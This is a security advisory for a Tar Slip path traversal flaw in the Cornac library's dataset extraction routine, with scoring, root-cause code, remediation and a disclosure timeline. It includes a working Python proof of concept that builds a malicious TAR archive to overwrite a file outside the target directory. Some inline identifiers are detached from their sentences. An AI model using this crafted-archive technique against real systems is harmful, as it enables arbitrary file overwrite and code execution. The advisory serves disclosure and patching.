
Path traversal (Tar Slip) in Cornac via _extract_archive (CVE-2026-43637)
Severity: High, CVSS 4.0 8.8, Critical, CVSS 3.1 9.1(assigned by VulnCheck, the CNA)
Vector (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Vector (v4.0): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Affected: cornac < 2.6.0
Fixed in: 2.6.0
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory, 'Path Traversal')
Reported by: Rahul Karne and Bharath Kumar Reddy Janumpally
CNA: VulnCheck
Published: July 15, 2026
Cornac's dataset loaders download and unpack archives automatically, and the unpacker trusted every path inside the archive.
Cornac is a machine-learning framework for recommender systems. Its built-in dataset loaders fetch archives over the network and extract them without any confirmation step. The extraction routine in calls with no validation of member paths. A TAR archive whose members contain sequences, absolute paths, or symlink and hardlink entries therefore writes files to arbitrary locations on the filesystem, anywhere the running process can write, entirely outside the intended cache directory. Several loaders fetch over plain HTTP, so a network-positioned attacker can substitute a malicious archive in transit and have it extracted the moment a loader is called.
_extract_archive()cornac/utils/download.pyarchive.extractall()../Arbitrary file write with fully attacker-controlled path and content, bounded only by the permissions of the process running Cornac. This is a write primitive, not a read one, so there is no direct disclosure, but arbitrary file write is a well-established path to code execution and to denial of service:
.py file in site-packages, a shell
startup file, or a scheduled-task entry causes attacker code to run on the next
import, shell, or job.Who is affected: Any use of cornac < 2.6.0 that calls a dataset loader
which downloads and extracts an archive the attacker can control or intercept.
Because loaders extract automatically, no step beyond the ordinary loader call is
required.
Who is not affected:
2.6.0 or later, where extraction validates every member path.| Metric | Value | Source |
|---|---|---|
| Downloads, all-time | 4.1M | pepy.tech/projects/cornac |
| Downloads, last 30 days | 67.8K | pepy.tech |
| Typical use | Recommender-systems research and teaching; dataset loaders auto-fetch over the network, some over plain HTTP | inherent to the framework |
_extract_archive() in cornac/utils/download.py extracts both ZIP and TAR
inputs through one code path and, for the TAR case, calls extractall() with no
path checking:
# cornac/utils/download.py — _extract_archive(), lines 50-71 (v2.3.5)
def _extract_archive(file_path, extract_path="."):
"""Extracts an archive."""
for archive_type in ["zip", "tar"]:
if archive_type == "zip":
open_fn = zipfile.ZipFile
is_match_fn = zipfile.is_zipfile
elif archive_type == "tar":
open_fn = tarfile.open
is_match_fn = tarfile.is_tarfile
if is_match_fn(file_path):
with open_fn(file_path) as archive:
try:
archive.extractall(extract_path) # <-- no member-path validation
except (tarfile.TarError, RuntimeError, KeyboardInterrupt):
if os.path.exists(extract_path):
if os.path.isfile(extract_path):
os.remove(extract_path)
else:
shutil.rmtree(extract_path)
raise
Nothing constrains member names, so a member named ../../somewhere/file
resolves outside extract_path and is written there.
The call chain is fully automatic from a loader call:
cornac.datasets.<name>.load_feedback()
-> cornac.utils.download.cache() # downloads via urllib.request.urlretrieve
-> cornac.utils.download._extract_archive()
-> tarfile.extractall() # writes attacker-named paths
Python's zipfile sanitizes ../ sequences during extraction, so the ZIP branch
of this same function is not exploitable on modern Python. Python's tarfile
does not sanitize member paths (prior to 3.12, and only with an explicit filter
after that). Because Cornac runs both formats through the identical
extractall() call, the ZIP branch is safe and the TAR branch is fully
exploitable through the same lines. The asymmetry is easy to miss precisely
because the code looks uniform across the two formats.
Cornac downloads with urllib.request.urlretrieve(), with no certificate pinning
and no archive integrity check, and several built-in loaders use http:// URLs.
A network-positioned attacker can intercept the plain-HTTP download and return a
malicious TAR without compromising the upstream server, which is why the vector
is remote and requires no user interaction beyond the loader call.
An attacker needs:
< 2.6.0.No privileges on the target and no user interaction beyond the loader call are required.
The following was run against the real, unmodified package by calling Cornac's
own _extract_archive directly.
Vulnerable version (2.3.5). A TAR containing a ../../ member is extracted
into a cache directory; the member lands outside that directory and overwrites a
file belonging to a separate application:
import cornac.utils.download as d
import io, os, tarfile, tempfile
base = tempfile.mkdtemp()
cache = os.path.join(base, "cornac_scope", "cache"); os.makedirs(cache)
victim = os.path.join(base, "victim_scope", "webapp"); os.makedirs(victim)
open(os.path.join(victim, "app.py"), "w").write("def run():\n return 'healthy'\n")
mal = os.path.join(base, "malicious.tar.gz")
payload = b"raise ImportError('victim destroyed by tar slip')\n"
with tarfile.open(mal, "w:gz") as tf:
ti = tarfile.TarInfo("../../victim_scope/webapp/app.py"); ti.size = len(payload)
tf.addfile(ti, io.BytesIO(payload))
d._extract_archive(mal, cache) # Cornac's real function, cache dir as target
Verified result:
victim app.py BEFORE : def run(): return 'healthy'
victim app.py AFTER : raise ImportError('victim destroyed by tar slip')
benign file landed inside cache scope : True
victim file OVERWRITTEN outside cache : True
The benign member wrote inside the cache as expected; the ../../ member wrote
into the separate application's directory, and importing that application now
fails.
Full attack demonstration. poc_exploit.py in this repository runs the
complete chain end to end: an attacker HTTP server delivers the malicious TAR, a
loader replicating Cornac's cache() plus _extract_archive() call chain
downloads and extracts it automatically from a single load_feedback() call, and
two files are overwritten in a separate application's directory. The vulnerable
_extract_archive() is used verbatim from Cornac's source.
Patched version (2.6.0). The same traversal archive is rejected before anything is written:
ValueError: Blocked path traversal attempt in archive: ../victim/app.py
victim app.py after: def run(): return 'healthy' (unchanged)
Upgrade to cornac 2.6.0 or later:
pip install --upgrade "cornac>=2.6.0"
2.6.0 replaces the unguarded extractall() with a _safe_extract() helper that
resolves each member path with os.path.realpath and rejects any target that
does not stay within the extraction directory, and that allows only regular files
and directories, blocking symlink, hardlink, and device entries.
If you cannot upgrade immediately: do not call dataset loaders that download over untrusted or plain-HTTP channels, and do not extract TAR archives from sources you do not control. Fetching over HTTPS reduces the in-transit interception risk but does not remove the risk from a malicious or compromised upstream.
VulnCheck (the CNA) assigned 8.8 (High) under CVSS 4.0
(CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N).
AV:N: the malicious archive is delivered over the network, and several
loaders fetch over plain HTTP with no integrity check.AC:L: crafting a traversal TAR is trivial and the attack works
deterministically on every invocation.PR:N: the attacker needs no account or foothold on the target.UI:N: the loader downloads and extracts automatically; a single loader call
triggers the whole chain with no confirmation step.VC:N: the primitive is write-only, so no confidentiality impact is claimed.VI:H / VA:H: the attacker fully controls written content and can destroy
files the process can write, so integrity and availability of the affected
system are high.SC:N / SI:N / SA:N: the CNA scored the impact as confined to the
vulnerable system's authority rather than a distinct subsequent system.The 8.8 assigned by the CNA is the authoritative figure for this issue.
| Date | Event |
|---|---|
| May 3, 2026 | Vulnerability identified |
| May 4, 2026 | Reported (coordinated disclosure) |
| July 14, 2026 | Fix merged (PR #709, commit 8a50be7) |
| July 15, 2026 | Patched version 2.6.0 released |
| July 15, 2026 | CVE-2026-43637 published by VulnCheck |
Discovered and reported by Rahul Karne (security researcher and IEEE Senior Member) and Bharath Kumar Reddy Janumpally, coordinated through VulnCheck. Rahul's related disclosures include CVE-2026-65321 (SQL injection in PyAthena) and CVE-2026-63720 (code injection in datamodel-code-generator).
Contact: [email protected] · GitHub: rahulreddykarne
8a50be7: https://github.com/PreferredAI/cornac/commit/8a50be72c11569b6747c6b96d6e31a0a1962f1a8Media inquiries: [email protected]. Full PoC (attacker server, traversal archive, victim application) and additional technical detail available on request.